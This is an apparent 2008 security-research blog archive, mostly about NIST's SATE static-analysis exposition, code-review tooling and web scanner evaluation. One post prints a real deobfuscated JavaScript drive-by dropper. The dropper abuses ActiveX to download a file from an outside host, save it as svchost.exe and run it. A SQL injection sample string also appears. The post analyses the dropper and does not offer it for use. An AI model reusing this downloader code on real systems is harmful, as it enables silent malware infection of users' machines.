deep inside | security & tools

My talk at SAW: Automated Evaluation of source code analyzer output

Romain — Tue, 10 Jun 2008 15:38:00 -0400

It has been some time since I haven't post on my blog... well, I've been busy especially with the end of SATE, and oh well! had vacation :)

Anyway, at the next Static Analysis Workshop this Thursday, we're gonna talk about the SATE experiment and the observations/results we could get from this. I am then gonna talk about a tool I wrote in order to probe if a reported weakness is a false-positive: this is the Automated Evaluation.

The main idea of the Automated Evaluation, is to get some information on the source code and, under some assumptions, try to make a conclusion on the correctness of the piece of code. Behind all the reasoning from that particular tool, my approach had to be radically different than a classical SCA otherwise this would have been like creating a new SCA and this would have been obviously useless. The context of this automated evaluation is limited to the buffer overflows and this can only work for proving false-positive only!

So basically, I am reading the source code from the reported sink to the possibles sources and grabbing the actions that possibly affect the variable which have a role in the code.

These actions are like:

Allocation of a destination buffer
Computing the size of the source buffer(s)
Test for NULL
Test that involves the size of the buffers...
... and some others

Then, once these actions are detected, the tool increments a global score of false-positiveness to this reported weakness. We then only have to set a threshold in order to know what correctness we want to have; this is really tied to the source code and how the program is developed.

Even though this evaluation method is not perfect, this was adapted to the C test cases we had in SATE 2008 since the global code quality was good. We can even say that the software were well written; it was then okay to make some assumption on the code such as:

If the size of the destination buffer is computed with the size of the source buffer, the size is good (basically: no off-by-one)

Also, the tool itself needs some information on the source code such since it uses regular expression to match the "actions"...

Here we are for a quick explanation and here are the slides: SAW: Automated Evaluation of SCA output

ph34r the script kiddies: Whitehouse.org

Romain — Tue, 20 May 2008 10:07:00 -0400

I was just reading this news (reported by Kanedaa), decided to look closer to the content of this "malware" stuff to see if there was some nice techniques behind this so called "attack".

Oh men! How disappointing to see that this was done by script kiddies... the "obfuscation" consist of 3 levels of URL encoded javascript... yeah... URL encoding is for sure an obfuscation very hard to prettify. And the final code was just not obfuscated either... Just this:

function myCreateOB(o, n) {
    var r = null;
    try { eval('r = o.CreateObject(n)') }catch(e){}
    if (! r) {try { eval('r = o.CreateObject(n, "")') }catch(e){} }
    if (! r) {try { eval('r = o.CreateObject(n, "", "")') }catch(e){}}
    if (! r) {try { eval('r = o.GetObject("", n)') }catch(e){}}
    if (! r) {try { eval('r = o.GetObject(n, "")') }catch(e){}}
    if (! r) {try { eval('r = o.GetObject(n)') }catch(e){}  }
    return(r);
}

function Go(a) {
    var s = myCreateOB(a, "WS"+"cr"+"ip"+"t.S"+"he"+"ll");
    var o = myCreateOB(a, "AD"+"OD"+"B.St"+"re"+"am");
    var e = s.Environment("Process");
    var xml = null;
     var url = 'http://ad.ox88.info/bbs.jpg';
    var bin = e.Item("TEMP") + "svchost.exe";
    var dat;
    try { xml=new XMLHttpRequest(); }
    catch(e) {
        try { xml = new ActiveXObject("Mic"+"ros"+"of"+"t.XM"+"LHT"+"TP"); }
        catch(e) {
            xml = new ActiveXObject("MSX"+"ML2.Ser"+"verXM"+"LHT"+"TP");
        }
    }
    if (! xml) return(0);
    xml.open("GET", url, false)
    xml.send(null);
    dat = xml.responseBody;

    o.Type = 1;
    o.Mode = 3;
    o.Open();
    o.Write(dat);
    o.SaveToFile(bin, 2);

    s.Run(bin,0);
}

function mywoewd() {
    var i = 0;
    var ss11='{7F5B7F';
    var ss12='63-F06';
    var ss13='F-4331-8A';
    var ss14='26-339E0'
    var ss15='3C0AE3D}';
    var ss1=ss11+ss12+ss13+ss14+ss15
    var ss2="{BD96"+"C55"+"6-65A3-1"+"1D0-98"+"3A-00C04F"+"C29E36}";
    var ss3="{AB9"+"BCEDD-E"+"C7E-47"+"E1-93"+"22-D4"+"A210617116}";
    var ss4="{00"+"06F"+"033-000"+"0-0000-C0"+"00-00000"+"0000046}";
    var ss5="{0006"+"F03A-0000-00"+"00-C000-00"+"00000"+"00046}";

    var t = new Array(ss1,ss2,ss3,ss4,ss5,null);
    while (t[i]) {
        var a = null;
        if (t[i].substring(0,1) == '{') {
         a = document.createElement("object");
         a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
        } else {
            try { a = new ActiveXObject(t[i]); } catch(e){}
        }
        if (a) {
            try {
                var b = myCreateOB(a, "WSc"+"rip"+"t.Sh"+"ell");
                if (b) {
                    Go(a);
                    return(0);
                }
            } catch(e){}
        }
        i++;
    }
}

As reported by Trend Micro, this is supposed to be a download of the trojan: TROJ_DELF.GKP ... that doesn't mean anything to me but anyway, my AV didn't detect it :)

Yet another study on code quality: A Tale of Four Kernels

Romain — Fri, 16 May 2008 14:43:00 -0400

If like me you are interested in code quality and some general conclusion that one can draw based on code quality studies, I really recommend to read this paper: A Tale of Four Kernels by Diomidis Spinellis, ICSE '08: Proceedings of the 30th International Conference on Software Engineering

I just want to quote a part of the conclusion by the author

Therefore, the most we can read from the overall balance of marks is that open source development approaches do not produce software of markedly higher quality than proprietary software development.

The only problem with this statement is that it is based on the fact that the metrics he used were not weighted for their importance for the "Code Quality" (if this means something). Therefore, the comparison between the Windows research kernel and Linux seems a little bit awkward to me. Anyway, this is a very interesting paper about code quality, and lots of interesting ideas from the author of CScout.

Static Analysis Tool Exposition is over

Romain — Wed, 14 May 2008 00:20:00 -0400

Yeah, that's sad and also a relief: SATE is over. We actually released today the last stage of the evaluation (basically, the evaluation with some correction based on comments from the participants). Even though I would have prefer to have more feedback from participants on our evaluation, especially to increase its quality, I still think SATE is a good thing and will be an interesting resource for lost of researchers. This is, as far as I know, the only exhaustive resource on the subject (wild source code + weaknesses).

What do I want to do, see next? Since we have accumulated lots of data with the tool reports (raw weaknesses), the evaluations (I really want to thank MITRE's guys, especially Steve Christey and Bob Schmeichel for their help), I'm looking forward to do data analysis and trying to extract some limited results on it.

Anyway, this was overall a good experience, I actually did my first real code review mostly on lighttpd, dspace, mvnform and naim, I think I know way more on how detecting vulnerabilities, I also have been asking myself about how to rate vulnerabilities such as Cross-Site Scripting (hopefully, I will release the little document I wrote about it), I learned so much about how people are writing code trying to understand the design, the code etc. in the applications.

Also, hopefully, I will be able to release the website I developed to handle the weaknesses from different tools. It is, I think, interesting if you are working with more than one assessor. You can send evaluation, comments, merging the weaknesses etc. with a web interface. Even though it needs improvements (it has been done in less than 2 weeks) I think this would be an interesting piece of software for people who are dealing with tons of weaknesses. Another interesting point is that we (at NIST) may open that website for everybody in order to make new evaluation in order to increase the quality of the data we currently have.

Oh well, it seems like a journey is really close to its end, it was such a good time sometimes, and some other time such consuming work. We've been dealing with fifty thousands of weaknesses, dozen of tool reports, and almost tens of test cases... I will keep you posted about the next decision we are gonna make with SATE and hope that lots of people will find in this "exposition" the most they could get.

Oh please stop it with these ridiculous CAPTCHAs!

Romain — Sat, 10 May 2008 11:30:00 -0400

Marcin just told me about that stupid CAPTCHA from the rapidshare website. Even if I think this is made explicitly to annoy people (this CAPTCHA is used only for free accounts) this is just stupid.

Can you really tell which letter has cat or not? I'm sorry but I can't!

Accelerate the convergence to the bug: Running the test in 16-bit

Romain — Thu, 01 May 2008 09:59:00 -0400

Yesterday, I came across a case in a piece of software which was really hard for me to understand perfectly. Not only the code is well written (which is always worse for finding bugs :)) but the structure is also well thought (this is the implementation of an associated array in C in the lighttpd application).

The problem I had was to state whether a tool report was a true-positive/false-positive. So, as in many case I've seen in this software a problem may occur only in the limit cases. This one may occur after INT_MAX insertion in the structure. I don't know if one of you ever tried to do such a thing, but only INT_MAX (~2 billions on typical PC) allocations is a lot, so inserting elements in a structure that needs at least 5 (re)allocations is too much. But well, I did it. Also, I ran this test with valgrind using the memory leak check (full check and high definition).

I then ran a simple test program to fill this structure in a real condition: a typical x86/32-bit architecture. As I knew it was stupid and didn't even think this could end before 2 days I started looking in other direction in order to reduce the INT_MAX size for having a reasonable time execution of the test.

My first attempt is to shift all the types that are used, I knew this was not perfect because even if I can force my program to use unsigned short instead of size_t, I wouldn't change the size of the pointers, a char * would still b 32-bit (there may be some options in gcc to control the size of the pointers — which I doubt — but I didn't find any). Using this methodology, I was able to make the program crash in the way that would have been a real true-positive.

But as I knew it was not good since the size of the pointers are not modified and I had the feeling that in that particular structure, the case of the possible crash is handled by itself (due to pointer and type limits), I started looking in other direction for running that program in 16-bit, a pseudo-real-16-bit-mode. I then started looking into emulators and how to compile code for 16-bits and running it on my linux (x86/32-bit). After having issues compiling and running the test program with the gnu-m68hc11 ELF package, I found the bcc/elksemu stuff. After compiling and running with ELKS utilities, the test program didn't crash, it only failed in an assertion test after an allocation...

Different behavior, with different methods, okay... which is the correct one? Is it a problem of pointer size that made the test running differently than the real program on a 32-bit or maybe a limitation of the elksemu machine? As this morning I checked the state of the 32-bit run I launched yesterday, and this was finished... ended by a failed assertion.

As expected, pointer size matters when you wanna test on intrinsic limitations of a structure and its behavior using limit cases.

Scaling MySQL db

Romain — Mon, 28 Apr 2008 09:03:00 -0400

I've just came across this interesting blog entry; some numbers on how people (large websites companies) are actually using MySQL.

http://venublog.com/2008/04/16/notes-from-scaling-mysql-up-or-out/

MySQL table/field names

Romain — Tue, 08 Apr 2008 21:45:00 -0400

Sometimes I really don't understand developers.

Why the heck a table name such as a<script>foo(42)`cool could ever be allowed? What's the point of that? I know I am almost clueless with SQL but... what's the reason here? If someone has some idea, I would love to hear them!

Untrusted websites passwords

Romain — Mon, 17 Mar 2008 13:31:00 -0400

After using different password, it's really bothering to have lots of diversity; you need to remember them or well, store them in a password.txt

I just made a simple script for my own in order, from mostly the same password, to generate different ones for different websites... This is not that big deal, just a simple script to do that, but I thought it could have been useful for some of you...

You can reach the script here: Untrusted websites passwords creator

NIST SATE step 3 completed: test cases information release

Romain — Fri, 29 Feb 2008 22:55:00 -0500

This evening at work, with Vadim, we were exhausted after days of work but we were smiling. Smiling and happy because we knew that the step 3 of SATE was pretty much done. The step 3 is when all the participants are sending their output to us. Even if we know that we will have hard time to come up with the master reference list for each test cases what we selected for SATE 2008, we know that this is interesting data for the SwA community and especially SCA studies.

Today, we can finally tell which test cases were selected by us for SATE 2008. First of all, we have 2 different tracks: C language and Java language. For the java track, we decided to look more into web applications. We then have:

DSpace: content management system
mvnForum: forum
OpenNMS: network management system

And for the C track we selected:

Nagios: host, service and network monitoring with web interface (using CGI)
Lighttpd: web server
Naim: console instant messenger

You may have lots of comments on why these and I am totally ready to answer your questions. Just to let you know, during the selection phase, we reviewed 50+ different applications. For each applications, we had to scan them using tools, doing some manual review and our main goal is to find at least one exploitable vulnerability. Concerning the type of test cases themselves, the constrain is to have real exploitable vulnerabilities and they must be real applications which means basically, not test cases that we have in our SRD.

Just as reminder, the next important dates for SATE 2008 are:

April 15, we are distributing to the participants our master reference list, the list of real weaknesses found by the participants
June, comparison of all the participants results, the participants get all the reports submitted at SATE 2008
December, all the data and reports are public

Code review: facilitate the SCA output analysis

Romain — Mon, 25 Feb 2008 20:59:00 -0500

This post is not exactly a follow up of a previous post called Code review tools: the missing link (so far), But since I will have to perform a lot of code review in the next couple of weeks and also tool output analysis, I was looking for some tool to help me, to facilitate my job. I've been asking people for links, tips etc. but nothing really convinced me. I am looking for a tool which is basically able to smartly index the source code I am reviewing, which means that I want to be able to look at the variables, where they are declared, affected and used... I also want to see the call graphs of functions and this, mostly to probe the correctness of tool output.

After a couple of hours looking at specialized tools, I was not able to find something good and free (No, I don't call cscope good!). Yes, there are a couple of commercial ones, especially the ones shipped with the commercial source code analyzers and well, they're not perfect at all!

So, this morning, I was like frustrated when I actually thought of using a tool I used a lot, but for a quite different utilization: Doxygen. You may know this documentation tool, but may not know all it is capable of.

As a documentation generation tool, it is really powerful and mostly based on specially formated comments that the developers seed in the source code. But the tool is also generating a bunch of structure related information such as classes relations, function calls graphs etc. As I don't want to generate a documentation of the code I'm reviewing, I don't mind not to have the well formated comments. I am asking this tool to generate me the structural information and facilitate the navigation from function to function.

I made a small example of the report generated by Doxygen using the configuration I made for getting all the information I wanted (only one page since the documentation and the pictures etc. are kinda big...). In order to generate the configuration I wanted, I made a tiny python script ozone.py since the DoxyWizard is not really convenient for that. Also, I will add a process to pre-compile the JSP files since Doxygen doesn't understand the JSP syntax and the option to use the Doxygen search engine (PHP script that use and file with indexed tags).

This is the first step of that script, as you may see by looking at the source code, I am also generating the XML files, this is because the XML generated Doxygen documentation contains a lot of interesting information that I may use later... Also, while looking at the Doxygen source code, I thought that it could be possible to integrate many more static analysis such as computing metrics, etc. Anyway, so many other things to do than thinking about that right now!

OWASP France Chapter & OWASP Top Ten 2007 French

Romain — Thu, 21 Feb 2008 09:28:00 -0500

Just to say that I am please to see the OWASP Chapter France starting again thanks to Sebastien Gioria! I hope that this is gonna last for good and that we will be able to spread the web security & tools in France. Even though I am not in France anymore, I am please to be part of the board. What I would like to do so far, is to talk with engineering school, universities, etc in order to make web security as part of classes when students are learning about web development for instance (or just development).

In the same time, we are releasing the translation of the OWASP Top Ten 2007 in French. The document by itself is a really good content! The French translation has been done while trying to keep the original ideas of the Top Ten.

You can download the OWASP Top Ten 2007 in French on the OWASP Chapter France web page. As usual, every comments, ideas etc, about the role of OWASP in France are more than welcome!

Code review tools: the missing link (so far)

Romain — Tue, 19 Feb 2008 23:35:00 -0500

First of all, I do not consider myself as a pen-tester so maybe you will find these ideas irrelevant, stupid or useless... I have been doing some pen-testing though, whether it was for some friends, for fun (yeah, it's good to learn like that) or for profit (well, it was kinda part of my job for SATE 2008) so I'm not that n00b but I am not a pen-tester. I am not an expert in pen-testing and code review. But when I do some, at work, I have the chance to be able to use commercial tools — I say it's a chance because there is a real benefit of using such tools. In fact, tools are good, way better than me, they can find thousands of vulnerabilities in minutes... I cannot; I need way more time. But here is a little feedback vendors can have from me, utilizing the tools.

The tools are amazing to find some defects, saying that something doesn't look good to them and giving you a stack of 42 function calls. Eh! that's part of the job to examine this bunch of function in order to see why the tool reported this as a vulnerability. So, examining the functions means looking how the data will be transformed/transported from a point to one another. And I cannot tell you the pain it is to do that for the dozens of reported vulnerabilities where the correctness of the tool is not obvious (at least for me).

While talking about that with Vadim today, I thought of a tool that would be awesome for a code reviewer in order to facilitate the “correctness tests”. The idea is really simple and maybe the tool already exists — if so, please give me a link! — but what if you had a kinda debugger where you were able to select the point where you want to start the dynamic evaluation of a piece of code (the Entry Point) and the point where you want to finish and see the result (the Break Point). What is the difference with a typical debugger? The possibility to do such in relation with the source code. In the interface of the source code analyzer, I would be able to select the entry point I want to start my dynamic analysis and the break point. I would launch the dynamic evaluation which would go to the state of the entry point (maybe by asking how to go there... there is often multiple paths to go to one branch of the code), then I would do the modification I want (trying to bypass some filters for example with some weird strings) and the dynamic engine would run the piece of code until the Break Point; then look at the result.

What I just described is a really narrow view of such combination of static/dynamic analysis, by doing a step-by-step modification of the values. We could have information of the privilege state of the current user for a web application, would be able to replay easily a la web apps scanners, etc.

I know that building such a tool is doable. Hard but definitely doable. So far, the toughest point I saw is to be able to arrive at a given state of the program. You would need to do a binary coverage and looking at the branches to take, recording these and mapping the records with the source code. Once you're done with it, you're ready for modifying the parameters, and to look at the results. Yes, the main difference with a debugger is to come in a given state referenced by a function call. But wouldn't this help you to figure out the correctness of a given piece of code?

SATE ready to go + weaknesses walker + Shmoo + 100

Romain — Thu, 14 Feb 2008 19:14:00 -0500

Tomorrow will start SATE 2008: the registered participants will be able to get the test cases associated to the tracks they want to participate in. They will have until the 29th of February to send the report of the tools. We are all pretty excited here before the start. It was a real rush for finding the test cases that we think are good for such an event...

Anyway, just a news to release a python script which is definitely SATE oriented. The idea is only to convert the output of some free tools into the SATE XML format. The script is handling Flawfinder, ITS4 and RATS. It can also look at the NVD for the product and the version in order to retrieve the known vulnerabilities.

You can download the script weaknesses walker as a zip file or just the python script (you will need wwwCall for the NVD scrapping part; wwwCall is also included in the zip).

Example how to use ww with flawfinder:

./ww.py --tool flawfinder --file myproject.out.xml --format sate /home/romain/myproject

or for the NVD scrapper:

./ww.py --vdb winamp 5.2 --file winamp_5.2.nvd.xml

For the next version of ww, I may add the possiblity to play with the SATE XML format itself, such as merging the results of different tools with comparison of report or even just the report of multiple tools...

Also, if you are coming downtown DC this weekend for ShmooCon or even BlackHat DC 2008, if you wanna have a beer just drop me a mail. I wasn't able to find a ticket for Shmoo so will not go, but I will meet with dre and marcin from ts/sci security... so if you are around, just tell me I would be happy to meet more sec. people

The last thing is that this post is my number 100!

NIST Static Analysis Tool Exposition: No, this is not a competition!

Romain — Tue, 05 Feb 2008 08:18:00 -0500

I've was happy yesterday when I learned that Fortify will participate to the Static Analysis Tool Exposition (SATE) we are currently organizing. And even more when I saw this morning Brian Chess blogging about SATE.

We've been working on SATE since our last Static Analysis Summit and, helped with a couple of existing exposition already existing at NIST such as TREC etc. for the guidelines, the rules and so on. But even so, we had some example, we had three difficult tasks:

Make people agree on the fact that it is not a competition
Make vendors participating (if you are a vendor, reading this please, subscribe for participating at SATE)
Choosing the test cases

The last point is not solved yet, and even, none of them can be considered as solved since not everybody is participating to the 2008 exposition (which has 2 tracks: C and Java), but we've been seeking for good test cases in C and Java. Good test cases... means not too big, not too small and having exploitable vulnerabilities. By the way, if any of the readers of this blog have some idea of Java or C test cases that would be good test cases, please, send me links, ideas or whatever :)

Anyway, SATE is on his way, I hope more tool makers will sign up for participating at this experiment.

Maybe another point, due to my usual blogging on web security and web apps security scanners, if SATE is a success as we expect it to be, we may open new tracks for... web application security scanners and I would love to have special tracks for security metrics (I want to show up!! :p)

Talk: Problems and solutions for testing web application security scanners

Romain — Thu, 31 Jan 2008 18:06:00 -0500

I just came back from the DHS Forum on the Software Assurance where I gave a talk about testing web application security scanners, and especially, the problems and some solutions for testing the scanners.

The presentation is an introduction to a methodology I've been developing at NIST for a while now. This presentation is the follow-up of the Verify Conference slides and also the talk I gave at HICSS (I will release the slides from this presentation when engadget.com will fix the vulnerabilities that I used in order to show the different variation of attacks for introducing the level of defenses)

You can reach the DHS Forum slides as a Google presentation.

Definition parsing: first step done

Romain — Wed, 30 Jan 2008 15:37:00 -0500

Since I started to work on my static analyzer using php-ast/oracle, I realized that looking for vulnerabilities need a lot of hard coded/database entries. This is really sad, since, in order to get something correct you would need a huge knowledge database. So I started thinking of generalization of vulnerabilities and way to express it. It's tough. Really.

The most realistic (if I can say so) idea I had is to actually handle vulnerabilities definition using a given taxonomy. I still need a lot of knowledge, especially on the language (PHP) I'm analyzing, especially the output functions, global variable, filters, resources etc. but the big advantage with rules is that you can generalize the definition.

Anyway, I started dealing with natural language, will try to make this fitting into my model in order to communicate with the future static analyzer engine of php-oracle... and thanks to the AIMA project, I was able to get some fast results on the processing:

# source definition:
unvalidated input go to sink in html context
# parse tree:
2 possiblities
##
  02NP[('Adjective', 'unvalidated'), ('Noun', 'input')][]
      23VP[('Verb', 'go')][]
        45NP[('Noun', 'sink')][]
       ('Preposition', 'to')
      35PP[]
     
    25VP[]
      68NP[('Name', 'html'), ('Noun', 'context')][]
     ('Preposition', 'in')
    58PP[]
   
  28VP[]

08S[]
##
  02NP[('Adjective', 'unvalidated'), ('Noun', 'input')][]
    23VP[('Verb', 'go')][]
        45NP[('Noun', 'sink')][]
          68NP[('Name', 'html'), ('Noun', 'context')][]
         ('Preposition', 'in')
        58PP[]
       
      48NP[]
     ('Preposition', 'to')
    38PP[]
   
  28VP[]
 
08S[]

And the taxonomy I used is the following (which needs to be extended to handle more than "input validation"):

IV = Grammar('InputValidation',
	Rules(
		S = 'NP VP | S Conjunction S',
		NP = 'Pronoun | Noun | Article Noun | Adjective Noun | NP PP | NP RelClause | Name Noun',
		VP = 'Verb | VP NP | VP Adjective | VP PP',
		PP = 'Preposition NP',
		RelClause = 'That VP'
	),
	Lexicon(
		Noun = "input | output | privilege | context | header | user | sink | file",
		Verb = "is | go | write | print",
		Adjective = "validated | unvalidated | asynchronous",
		Pronoun = "me | you | i | it",
		Name = "html | database | http | sql | ldap",
		Article = "the | a | an",
		Preposition = "to | in | on",
		Conjunction = "and | or | but | not",
		That = "that"
	))

Now, I only have to finish my model of a vulnerability (I do not think about building something really general, but a model that can handle injection flaws, privilege, communication would be awesome). Once this is finish, lots of things would be possible such as generating attacks directly from the definition (this would be more like a generalized attack generator) and vulns. checkers for the source code analyzer.

I know this is a kinda tough project and I really have lots of other things to do, but I really want to give this a try... just to see where it goes...

Search engine keywords extraction

Romain — Tue, 29 Jan 2008 10:24:00 -0500

For fuckthespam!, I wanted to add a nice feature due to the content of this website: a listing of keywords that people used to come on this website.

Well, the code is pretty simple bust just wanted to share it; it's working for google, msn and yahoo (the 3 most important search engine), I don't really care about having everything and just wanted to share this PHP snippet.

$referer = $_SERVER["HTTP_REFERER"];
if (strpos($referer,"search") > 0) {
	// look for google, yahoo and MSN
	$key = 0;
	if (strpos($referer,"google.") > 0 || strpos($referer,"msn.") > 0)
		$key = "q";
	else if (strpos($referer,"yahoo.") > 0)
		$key = "p";

	if ($key) {
		$parse_url = parse_url (urldecode($referer));
		if (array_key_exists("query",$parse_url)) {
			$query = $parse_url['query'];
			// extract (.+)$key=(.*)&
			$t = explode("&", $query);
			foreach($t as $k=>$e) {
				if ($e[0] == $key && $e[1] == '=') {
					$k = "$key=";
					$keyword = str_replace($k,'',$e);
					if (strlen($keyword) > 2) {
						// $keyword is actually the whole content of the search
					}
					break;
				}
			}
		}
	}
}

How come I didn't know this resource!!

Romain — Mon, 28 Jan 2008 10:21:00 -0500

While surfing the web, I found this website: http://opensourcetesting.org/.

Just the perfect repository of testing tools, there are a bunch of them on different testing area (security, functional, quality, unit testing and so on!).

Edit: Added in my security planet!

Protection against spam bot | fuckthespam.com

Romain — Fri, 25 Jan 2008 17:19:00 -0500

I used to work a bit on spam bot protection, whether it is for protecting the email disclosure or the spam in the website itself. I then, started a stupid website called http://fuckthespam.com where I will gather some spam (the funny one) but also listing some anti-spam techniques :)

Hopefully I will be able to also make an history of spam to see how techniques and also content evolved.

PHP Source Code Analyzer

Romain — Tue, 22 Jan 2008 20:46:00 -0500

Months ago, I was talking about and doing some small tests with the php source code security analyzer that I was able to find on the web.

I was able to quickly test the new Fortify SCA 5.0 which is handling PHP application now. I can tell you that I am really exciting about this tool. First of all, it beats from far all the tools I've tested previously (for PHP), which is fair since it's a commercial tool.

But what I'm really excited about now is that I will be able to make more tests on my test suites, compare with my security metrics & basic security analyzer, looking at the behavior of SCA tools when the source code is obfuscated, and so on. You're on the good track Fortify, now, open an API and I will be able to make an hybrid tool...

Since I also have some plan of testing real PHP applications with both testing approaches (static/dynamic), I'd like to see the difference of application coverage, vulnerability finding and false-positive rates (yeah, the last one is obvious, but still interesting).

I'm also glad to see that vendors are taking PHP as a serious language and not only for script kiddies.

Leaving for Hawaii, HICSS conference

Romain — Sat, 05 Jan 2008 11:55:00 -0500

Tomorrow, I'm gonna fly to Hawaii, for the HICSS-41 conference in the Big Island. I will give a talk about something I did almost one year ago: building a test suite for web application scanner. This work has been done at NIST for the Web Application Security Scanner project at SAMATE.

It's kinda old work, but still, talking about levels of defense for modeling the different possible defense mechanisms that we can find a web application. This allow to test the web apps scanner with more realistic flaws and see how they behave with some few protections...

Anyway, I think I will have good time there, and also good talks to fellow...

[WASC] Release of Script Mapping Project

Romain — Mon, 10 Dec 2007 11:14:00 -0500

The Web Application Security Consortium is pleased to announce the first results of the Script Mapping project! At this stage in the project we were able to cover most of the test cases for Internet Explorer 7, Firefox 2 and Safari 3.

The results can be found on the project page: http://www.webappsec.org/projects/scriptmapping/

Project Description:

The purpose of the Script Mapping Project is to come up with an exhaustive list of vectors to execute script within a web page without the explicit use of <script> tags. This data can be useful when testing poorly implemented Cross-site Scripting blacklist filters, for those wishing to build an html white list system, as well as other uses.

WASC is actively seeking volunteers from various sections of the community including penetration testers, security researchers, and developers to contribute to this project.

If you would like to be involved with the project or if you have comments about the results, test cases etc., please contact me.

"My Security Planet"

Romain — Sat, 08 Dec 2007 19:43:00 -0500

I love iGoogle. I have a couple of widgets and my RSS feeds in it... That's actually the problem, I had too much feeds, so I decided to create my own "planet" in order to have just one feed with all security blogs I'm reading.

You can reach it here if you have the same taste as mine: http://rgaucher.info/planet

I know that planet-security is pretty much doing the same, but I don't like the interface of this website and it doesn't have all the feeds I'm following...

Attack Surface oriented Crawler: Focusing on what you actually want

Romain — Fri, 07 Dec 2007 18:06:00 -0500

Previously, on the python version of Grabber, I used a BFS crawler. Good to scan all the code (as long as the parsers are not that dumb). The problem with these crawlers is that it's totally inefficient: all the problems are not everywhere.

Starting with this assumption, I tried to start rating what is actually important and what are the evidence that a page may be important for a security testing point of view. So, the architecture of the crawler is simply based on a priority queue and the priority is for now based on obvious reasoning which may be wrong: The script I prefer testing, is the one that is in POST, where the action is in HTTPS (and so on for the rest...) which gives something like that:

  priority <- 30
  If Form Then
    priority <- 10
    If Method = Post Then
      priority <- 5
  else if Anchor Then
    If Get Variables Then // To Understand: index.php?foo=plop, compared to index.php
      priority <- 20
  If HTTPS Communication for {Method action or Anchor URL} Then
      priority /= 2

This is a fairly incomplete work and kinda dumb, but at least it's unbiased for a set of URL.

Static Analysis Framework: PHP-Ast/Oracle

Romain — Wed, 05 Dec 2007 17:28:00 -0500

In my previous blog post, I talked briefly about PHP-Ast/Oracle a PHP source code static analysis framework. I am developing it in order to play with source code and security. The goal of that framework is to be able to perform different type of operations on a PHP source code. I am releasing this tool as it is because I think people may be interested with this... Anyway, I learned a lot doing this.

PHP-Ast/Oracle is developed in C++ and the tool has been developed mainly for:

Implementing source code (security) metrics
Gathering information on the source code (data-flow variable paths, etc.) by building the model
Creating personal source code obfuscations (currently only pattern based is supported, no data-type)
Source to source converter (e.g. PHP to C++ code for static analysis purposes)

How it works

The source code repository is divided in 2 parts:

php-ast is the converter from PHP to XML
php-oracle is the actual engine

php-oracle get a XML file as input which is the output of php-ast. In the SVN there are some python scripts I used in order to combine the 2 tools (they may be outdated i.e. doesn't work with the current php-oracle).

How I think you could use php-oracle

I do not attend to make a clean build with an executable etc. I just provide source code. I decided to give only the source code because I don't want to spend too much time on creating a clean software, it's only research oriented stuff. Furthermore, there is not much documentation in the source code (advantages of being alone to develop such a tool) and then, only really interested people will download this! I can then help them if they have some question about how it works etc.

Getting the source code

You can download the source here: php-ast-oracle.zip

And the trac repository has more documentation about what the framework actually does: http://trac2.assembla.com/php-ast

Development

The tool is in perpetual development, I don't want to create a real software from that, but I think people can use it to perform security analysis, compute stuff, make code transformation and so on.

Yet another study oriented release

Romain — Sun, 02 Dec 2007 20:57:00 -0500

I've been working a couple of months on a project named php-ast/oracle. I am opening the source of the project today because I think that people may be interested in such a code. Roughly, php-ast/oracle is able to get/transform information on a php source code, I used it for: creating real obfuscations (control-flow, data-flow), implementing security metrics, writing a converter from php to c++ for static analysis purpose and some other stuff such as variables flow etc.. You can have more information here: http://trac2.assembla.com/php-ast. I may post about this project later don't have much time now...

But this news is only for releasing a script I used a lot this last weeks; a PHP preprocessor. I've been using this preprocessor in order to clean the crappy PHP code we can found in the wild... in order to use php-ast/oracle correctly for calculating security metrics and so on.

The preprocessor is actually doing 3 things:

Simplifying the strings (keeping only the php variables in the strings -- really important for keeping the AST small with SQL queries and so on, because the strings could be evaluated in PHP, the AST would need to tokenize the strings)
Removing comments and HTML
Resolving the file inclusions (not for dynamic variable inclusion of course, but it's working with define names and static names)

The preprocessor is available here: preproc.zip

The new grabber

Romain — Wed, 21 Nov 2007 19:32:00 -0500

Grabber was a nice project. The main goal for me was to learn stuff around web application security/scanners; I didn't really know much before I started this project. But now that I've been playing with web apps scanners for more than 10months, I need to create a new one and go deeper in heuristics, browser integration and AI.

Grabber was in fact more a spider+fuzzer than something else... Not a good web apps scanner at all. Thinking of the analysis engine... It's something kinda stupid, no JavaScript execution, just simple heuristics for parsing and levenstein distances ;)

Anyway, I decided to start over this project. It's not gonna be a bunch of python scripts anymore, I am gonna use Qt/C++ extensively. The idea if this project is to be pen-testers oriented and open, I want to create a kind of wrapper around WebKit (especially using QtWebKit), a spider as core utilities and after, using plugins. The plugins should be either in C++ or JavaScript (QtScript actually). So far, we are 3 guys thinking of this project: we didn't start yet but we are open to every contribution; the project will of course be free and GPL'd.

I just post this in order to get some comments or suggestions about what a web apps scanner should do... Feel free to comment/mail...

Interoperability and web application scanners

Romain — Mon, 12 Nov 2007 14:46:00 -0500

Talking about web application security scanners , we all have the same problem: False Positive. It's a fact that cannot exactly be solve by the testing methodology itself (since it relies on pattern detection). So, the idea I started talking about on #webappsec today is a common format for exchanging information between tools.

Ideally, this would work like this:

Tool A is scanning a website.
It exports some information a given format: out-tool-a.xml
Tool B is able to understand out-tool-a.xml and take this as an input
Tool B would then be able to verify the results/false-positive of Tool A by scanning with the information in the out-tool-a.xml

I really think that would be helpful somehow, at least for open-source tools. I'm gonna try to implement this for the next release of Grabber.

My talk at the Verify Conference

Romain — Thu, 01 Nov 2007 09:04:00 -0400

Last Tuesday, I went to the Verify conference to give a talk about Web application scanners evaluation: what we are actually doing at NIST. I'm gonna make a simple entry reviewing what I actually talked about. The slides are here.

First of all, the evaluation was made with a test suite I made. The choices for the test suite are kinda simple, I wanted something really close to a real website. So I decided to use a real website (not a couple of test cases). The website contains multiple seeded vulnerabilities from different kinds (XSS, SQLi, RFi, CSRF, etc.). The website is actually configurable in a sense of vulnerability: you can choose what vulnerabilities will be in the website or not (let's say, I only want to have XSS vulnerabilities). Moreover, in order to see the web apps scanners capabilities, we can select a type of defense for the current protection: the level of defense.

Level of defenses

Programmers are different. They have different background, knowledge and approach to solve security problems. The filters we can see in wild web applications are not equivalents, some are good, some are just bad and we have the full shade of effectiveness. So, in order to test web apps scanner with different difficulties (for them) we implemented different level of protection around the vulnerabilities: the level of defenses.

A simple example: SQL Injection

Level 0: No protection
Level 1: Typecasting (in order to convert integer, boolean, double, strings, dates etc.). This protection will limit the SQL Injection on SQL native number types (integers will be converted as integer: 1' OR 1=1-- will be converted into 1).
Level 2: Escaping the meta-characters. We are protecting about quote injection, etc.
